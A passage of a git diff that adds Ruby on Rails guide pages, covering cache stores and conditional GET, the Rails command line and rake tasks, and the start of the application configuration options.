+config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
+```
+
+### ActiveSupport::Cache::EhcacheStore
+
+If you are using JRuby you can use Terracotta's Ehcache as the cache store for your application. Ehcache is an open source Java cache that also offers an enterprise version with increased scalability, management, and commercial support. You must first install the jruby-ehcache-rails3 gem (version 1.1.0 or later) to use this cache store.
+
+```ruby
+config.cache_store = :ehcache_store
+```
+
+When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache).
+
+In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including:
+
+| Property | Argument Type | Description |
+| --------------------------- | ------------------- | ----------------------------------------------------------- |
+| elementEvictionData | ElementEvictionData | Sets this element's eviction data instance. |
+| eternal | boolean | Sets whether the element is eternal. |
+| timeToIdle, tti | int | Sets time to idle |
+| timeToLive, ttl, expires_in | int | Sets time to Live |
+| version | long | Sets the version attribute of the ElementAttributes object. |
+
+These options are passed to the `write` method as Hash options using either camelCase or underscore notation, as in the following examples:
+
+```ruby
+Rails.cache.write('key', 'value', time_to_idle: 60.seconds, timeToLive: 600.seconds)
+caches_action :index, expires_in: 60.seconds, unless_exist: true
+```
+
+For more information about Ehcache, see [http://ehcache.org/](http://ehcache.org/) .
+For more information about Ehcache for JRuby and Rails, see [http://ehcache.org/documentation/jruby.html](http://ehcache.org/documentation/jruby.html)
+
+### ActiveSupport::Cache::NullStore
+
+This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache`, but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss.
+
+```ruby
+config.cache_store = :null_store
+```
+
+### Custom Cache Stores
+
+You can create your own custom cache store by simply extending `ActiveSupport::Cache::Store` and implementing the appropriate methods. In this way, you can swap in any number of caching technologies into your Rails application.
+
+To use a custom cache store, simple set the cache store to a new instance of the class.
+
+```ruby
+config.cache_store = MyCacheStore.new
+```
+
+### Cache Keys
+
+The keys used in a cache can be any object that responds to either `:cache_key` or to `:to_param`. You can implement the `:cache_key` method on your classes if you need to generate custom keys. Active Record will generate keys based on the class name and record id.
+
+You can use Hashes and Arrays of values as cache keys.
+
+```ruby
+# This is a legal cache key
+Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
+```
+
+The keys you use on `Rails.cache` will not be the same as those actually used with the storage engine. They may be modified with a namespace or altered to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the `memcache-client` gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax rules.
+
+Conditional GET support
+-----------------------
+
+Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache.
+
+They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status.
+
+It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task:
+
+```ruby
+class ProductsController < ApplicationController
+
+ def show
+ @product = Product.find(params[:id])
+
+ # If the request is stale according to the given timestamp and etag value
+ # (i.e. it needs to be processed again) then execute this block
+ if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
+ respond_to do |wants|
+ # ... normal response processing
+ end
+ end
+
+ # If the request is fresh (i.e. it's not modified) then you don't need to do
+ # anything. The default render checks for this using the parameters
+ # used in the previous call to stale? and will automatically send a
+ # :not_modified. So that's it, you're done.
+ end
+end
+```
+
+Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`:
+
+```ruby
+class ProductsController < ApplicationController
+ def show
+ @product = Product.find(params[:id])
+ respond_with(@product) if stale?(@product)
+ end
+end
+```
+
+If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when:
+
+```ruby
+class ProductsController < ApplicationController
+
+ # This will automatically send back a :not_modified if the request is fresh,
+ # and will render the default template (product.*) if it's stale.
+
+ def show
+ @product = Product.find(params[:id])
+ fresh_when last_modified: @product.published_at.utc, etag: @product
+ end
+end
+```
diff --git a/guides/source/command_line.md b/guides/source/command_line.md
new file mode 100644
index 0000000..7b7f596
--- /dev/null
+++ b/guides/source/command_line.md
@@ -0,0 +1,594 @@
+The Rails Command Line
+======================
+
+Rails comes with every command line tool you'll need to
+
+After reading this guide, you will know:
+
+* How to create a Rails application.
+* How to generate models, controllers, database migrations, and unit tests.
+* How to start a development server.
+* How to experiment with objects through an interactive shell.
+* How to profile and benchmark your new creation.
+
+--------------------------------------------------------------------------------
+
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html).
+
+Command Line Basics
+-------------------
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* `rails console`
+* `rails server`
+* `rake`
+* `rails generate`
+* `rails dbconsole`
+* `rails new app_name`
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+### `rails new`
+
+The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails.
+
+INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already.
+
+```bash
+$ rails new commandsapp
+ create
+ create README.rdoc
+ create Rakefile
+ create config.ru
+ create .gitignore
+ create Gemfile
+ create app
+ ...
+ create tmp/cache
+ ...
+ run bundle install
+```
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+### `rails server`
+
+The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser.
+
+INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends).
+
+With no further work, `rails server` will run our new shiny Rails app:
+
+```bash
+$ cd commandsapp
+$ rails server
+=> Booting WEBrick
+=> Rails 3.2.3 application starting in development on http://0.0.0.0:3000
+=> Call with -d to detach
+=> Ctrl-C to shutdown server
+[2012-05-28 00:39:41] INFO WEBrick 1.3.1
+[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0]
+[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000
+```
+
+With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running.
+
+INFO: You can also use the alias "s" to start the server: `rails s`.
+
+The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`.
+
+```bash
+$ rails server -e production -p 4000
+```
+
+The `-b` option binds Rails to the specified IP, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option.
+
+### `rails generate`
+
+The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators:
+
+INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
+
+```bash
+$ rails generate
+Usage: rails generate GENERATOR [args] [options]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+ assets
+ controller
+ generator
+ ...
+ ...
+```
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work.
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
+
+```bash
+$ rails generate controller
+Usage: rails generate controller NAME [action action] [options]
+
+...
+...
+
+Description:
+ ...
+
+ To create a controller within a module, specify the controller name as a
+ path like 'parent_module/controller_name'.
+
+ ...
+
+Example:
+ `rails generate controller CreditCard open debit credit close`
+
+ Credit card controller with URLs like /credit_card/debit.
+ Controller: app/controllers/credit_card_controller.rb
+ Test: test/controllers/credit_card_controller_test.rb
+ Views: app/views/credit_card/debit.html.erb [...]
+ Helper: app/helpers/credit_card_helper.rb
+```
+
+The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
+
+```bash
+$ rails generate controller Greetings hello
+ create app/controllers/greetings_controller.rb
+ route get "greetings/hello"
+ invoke erb
+ create app/views/greetings
+ create app/views/greetings/hello.html.erb
+ invoke test_unit
+ create test/controllers/greetings_controller_test.rb
+ invoke helper
+ create app/helpers/greetings_helper.rb
+ invoke test_unit
+ create test/helpers/greetings_helper_test.rb
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/greetings.js.coffee
+ invoke scss
+ create app/assets/stylesheets/greetings.css.scss
+```
+
+What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
+
+Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`):
+
+```ruby
+class GreetingsController < ApplicationController
+ def hello
+ @message = "Hello, how are you today?"
+ end
+end
+```
+
+Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
+
+```erb
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+```
+
+Fire up your server using `rails server`.
+
+```bash
+$ rails server
+=> Booting WEBrick...
+```
+
+The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello).
+
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller.
+
+Rails comes with a generator for data models too.
+
+```bash
+$ rails generate model
+Usage:
+ rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+
+...
+
+ActiveRecord options:
+ [--migration] # Indicates when to generate migration
+ # Default: true
+
+...
+
+Description:
+ Create rails files for model generator.
+```
+
+NOTE: For a list of available field types, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column) for the column method for the `TableDefinition` class.
+
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+
+```bash
+$ rails generate scaffold HighScore game:string score:integer
+ invoke active_record
+ create db/migrate/20120528060026_create_high_scores.rb
+ create app/models/high_score.rb
+ invoke test_unit
+ create test/models/high_score_test.rb
+ create test/fixtures/high_scores.yml
+ invoke resource_route
+ route resources :high_scores
+ invoke scaffold_controller
+ create app/controllers/high_scores_controller.rb
+ invoke erb
+ create app/views/high_scores
+ create app/views/high_scores/index.html.erb
+ create app/views/high_scores/edit.html.erb
+ create app/views/high_scores/show.html.erb
+ create app/views/high_scores/new.html.erb
+ create app/views/high_scores/_form.html.erb
+ invoke test_unit
+ create test/controllers/high_scores_controller_test.rb
+ invoke helper
+ create app/helpers/high_scores_helper.rb
+ invoke test_unit
+ create test/helpers/high_scores_helper_test.rb
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/high_scores.js.coffee
+ invoke scss
+ create app/assets/stylesheets/high_scores.css.scss
+ invoke scss
+ create app/assets/stylesheets/scaffolds.css.scss
+```
+
+The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
+
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
+
+```bash
+$ rake db:migrate
+== CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+ -> 0.0017s
+== CreateHighScores: migrated (0.0019s) ======================================
+```
+
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
+
+Let's see the interface Rails created for us.
+
+```bash
+$ rails server
+```
+
+Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
+
+### `rails console`
+
+The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+INFO: You can also use the alias "c" to invoke the console: `rails c`.
+
+You can specify the environment in which the `console` command should operate.
+
+```bash
+$ rails console staging
+```
+
+If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
+
+```bash
+$ rails console --sandbox
+Loading development environment in sandbox (Rails 3.2.3)
+Any modifications you make will be rolled back on exit
+irb(main):001:0>
+```
+
+### `rails dbconsole`
+
+`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+
+INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
+
+### `rails runner`
+
+`runner` runs Ruby code in the context of Rails non-interactively. For instance:
+
+```bash
+$ rails runner "Model.long_running_method"
+```
+
+INFO: You can also use the alias "r" to invoke the runner: `rails r`.
+
+You can specify the environment in which the `runner` command should operate using the `-e` switch.
+
+```bash
+$ rails runner -e staging "Model.long_running_method"
+```
+
+### `rails destroy`
+
+Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it.
+
+INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
+
+```bash
+$ rails generate model Oops
+ invoke active_record
+ create db/migrate/20120528062523_create_oops.rb
+ create app/models/oops.rb
+ invoke test_unit
+ create test/models/oops_test.rb
+ create test/fixtures/oops.yml
+```
+```bash
+$ rails destroy model Oops
+ invoke active_record
+ remove db/migrate/20120528062523_create_oops.rb
+ remove app/models/oops.rb
+ invoke test_unit
+ remove test/models/oops_test.rb
+ remove test/fixtures/oops.yml
+```
+
+Rake
+----
+
+Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and `.rake` files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
+
+You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need.
+
+```bash
+$ rake --tasks
+rake about # List versions of all Rails frameworks and the environment
+rake assets:clean # Remove compiled assets
+rake assets:precompile # Compile all the assets named in config.assets.precompile
+rake db:create # Create the database from config/database.yml for the current Rails.env
+...
+rake log:clear # Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)
+rake middleware # Prints out your Rack middleware stack
+...
+rake tmp:clear # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
+rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids
+```
+
+### `about`
+
+`rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+
+```bash
+$ rake about
+About your application's environment
+Ruby version 1.9.3 (x86_64-linux)
+RubyGems version 1.3.6
+Rack version 1.3
+Rails version 4.0.0.beta
+JavaScript Runtime Node.js (V8)
+Active Record version 4.0.0.beta
+Action Pack version 4.0.0.beta
+Action Mailer version 4.0.0.beta
+Active Support version 4.0.0.beta
+Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::EncryptedCookieStore, ActionDi [...]
+Application root /home/foobar/commandsapp
+Environment development
+Database adapter sqlite3
+Database schema version 20110805173523
+```
+
+### `assets`
+
+You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`.
+
+### `db`
+
+The most common tasks of the `db:` Rake namespace are `migrate` and `create`, and it will pay off to try out all of the migration rake tasks (`up`, `down`, `redo`, `reset`). `rake db:version` is useful when troubleshooting, telling you the current version of the database.
+
+More information about migrations can be found in the [Migrations](migrations.html) guide.
+
+### `doc`
+
+The `doc:` namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
+
+* `rake doc:app` generates documentation for your application in `doc/app`.
+* `rake doc:guides` generates Rails guides in `doc/guides`.
+* `rake doc:rails` generates API documentation for Rails in `doc/api`.
+
+### `notes`
+
+`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations.
+
+```bash
+$ rake notes
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+ * [ 20] [TODO] any other way to do this?
+ * [132] [FIXME] high priority for next deploy
+
+app/models/school.rb:
+ * [ 13] [OPTIMIZE] refactor this code to make it faster
+ * [ 17] [FIXME]
+```
+
+If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name.
+
+```bash
+$ rake notes:fixme
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+ * [132] high priority for next deploy
+
+app/models/school.rb:
+ * [ 17]
+```
+
+You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
+
+```bash
+$ rake notes:custom ANNOTATION=BUG
+(in /home/foobar/commandsapp)
+app/models/post.rb:
+ * [ 23] Have to fix this one before pushing!
+```
+
+NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
+
+By default, `rake notes` will look in the `app`, `config`, `lib`, `bin` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
+
+```bash
+$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
+$ rake notes
+(in /home/foobar/commandsapp)
+app/models/user.rb:
+ * [ 35] [FIXME] User should have a subscription at this point
+spec/models/user_spec.rb:
+ * [122] [TODO] Verify the user that has a subscription works
+```
+
+### `routes`
+
+`rake routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+
+### `test`
+
+INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
+
+Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
+
+### `tmp`
+
+The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
+
+The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory:
+
+* `rake tmp:cache:clear` clears `tmp/cache`.
+* `rake tmp:sessions:clear` clears `tmp/sessions`.
+* `rake tmp:sockets:clear` clears `tmp/sockets`.
+* `rake tmp:clear` clears all the three: cache, sessions and sockets.
+
+### Miscellaneous
+
+* `rake stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+* `rake secret` will give you a pseudo-random key to use for your session secret.
+* `rake time:zones:all` lists all the timezones Rails knows about.
+
+### Custom Rake Tasks
+
+Custom rake tasks have a `.rake` extension and are placed in `Rails.root/lib/tasks`.
+
+```ruby
+desc "I am short, but comprehensive description for my cool task"
+task task_name: [:prerequisite_task, :another_task_we_depend_on] do
+ # All your magic here
+ # Any valid Ruby code is allowed
+end
+```
+
+To pass arguments to your custom rake task:
+
+```ruby
+task :task_name, [:arg_1] => [:pre_1, :pre_2] do |t, args|
+ # You can use args from here
+end
+```
+
+You can group tasks by placing them in namespaces:
+
+```ruby
+namespace :db do
+ desc "This task does nothing"
+ task :nothing do
+ # Seriously, nothing
+ end
+end
+```
+
+Invocation of the tasks will look like:
+
+```bash
+rake task_name
+rake "task_name[value 1]" # entire argument string should be quoted
+rake db:nothing
+```
+
+NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
+
+The Rails Advanced Command Line
+-------------------------------
+
+More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
+
+### Rails with Databases and SCM
+
+When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
+
+Let's see what a `--git` option and a `--database=postgresql` option will do for us:
+
+```bash
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+ exists
+ create app/controllers
+ create app/helpers
+...
+...
+ create tmp/cache
+ create tmp/pids
+ create Rakefile
+add 'Rakefile'
+ create README.rdoc
+add 'README.rdoc'
+ create app/controllers/application_controller.rb
+add 'app/controllers/application_controller.rb'
+ create app/helpers/application_helper.rb
+...
+ create log/test.log
+add 'log/test.log'
+```
+
+We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+
+```bash
+$ cat config/database.yml
+# PostgreSQL. Versions 8.2 and up are supported.
+#
+# Install the pg driver:
+# gem install pg
+# On OS X with Homebrew:
+# gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+# gem install pg
+# Choose the win32 build.
+# Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: gitapp_development
+ pool: 5
+ username: gitapp
+ password:
+...
+...
+```
+
+It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
+
+NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
new file mode 100644
index 0000000..a0ab707
--- /dev/null
+++ b/guides/source/configuring.md
@@ -0,0 +1,736 @@
+Configuring Rails Applications
+==============================
+
+This guide covers the configuration and initialization features available to Rails applications.
+
+After reading this guide, you will know:
+
+* How to adjust the behavior of your Rails applications.
+* How to add additional code to be run at application start time.
+
+--------------------------------------------------------------------------------
+
+Locations for Initialization Code
+---------------------------------
+
+Rails offers four standard spots to place initialization code:
+
+* `config/application.rb`
+* Environment-specific configuration files
+* Initializers
+* After-initializers
+
+Running Code Before Rails
+-------------------------
+
+In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`.
+
+Configuring Rails Components
+----------------------------
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.
+
+For example, the default `config/application.rb` file includes this setting:
+
+```ruby
+config.filter_parameters += [:password]
+```
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:
+
+```ruby
+config.active_record.schema_format = :ruby
+```
+
+Rails will use that particular setting to configure Active Record.
+
+### Rails General Configuration
+
+These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.
+
+* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
+
+ ```ruby
+ config.after_initialize do
+ ActionView::Base.sanitized_allowed_tags.delete 'div'
+ end
+ ```
+
+* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+
+* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
+
+* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
+
+* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`.
+
+* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+
+* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
+
+* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
+
+* `config.consider_all_requests_local` is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement `local_request?` in controllers to specify which requests should provide debugging information [...]
+
+* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block:
+
+ ```ruby
+ console do
+ # this block is called only when running console,
+ # so we can safely require pry here
+ require "pry"
+ config.console = Pry
+ end
+ ```
+
+* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`.
+
+* `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
+
+* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is true. All namespaces in the list must respond to the `eager_load!` method.
+
+* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application.
+
+* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8.
+
+* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API.
+
+* `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
+
+* `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware.
+
+* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`.
+
+* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications.
+
+* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`, with auto flushing off in production mode.
+
+* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
+
+* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored.
+
+* `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`.
+
+* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under t [...]
+
+* `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
+
+ ```ruby
+ config.session_store :my_custom_store
+ ```
+
+ This custom store must be defined as `ActionDispatch::Session::MyCustomStore`.
+
+* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
+
+* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`).
+
+* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments.
+
+### Configuring Assets
+
+* `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in `config/application.rb`.
+
+* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`.
+
+* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
+
+* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively.
+
+* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
+
+* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run.
+
+* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
+
+* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`.
+
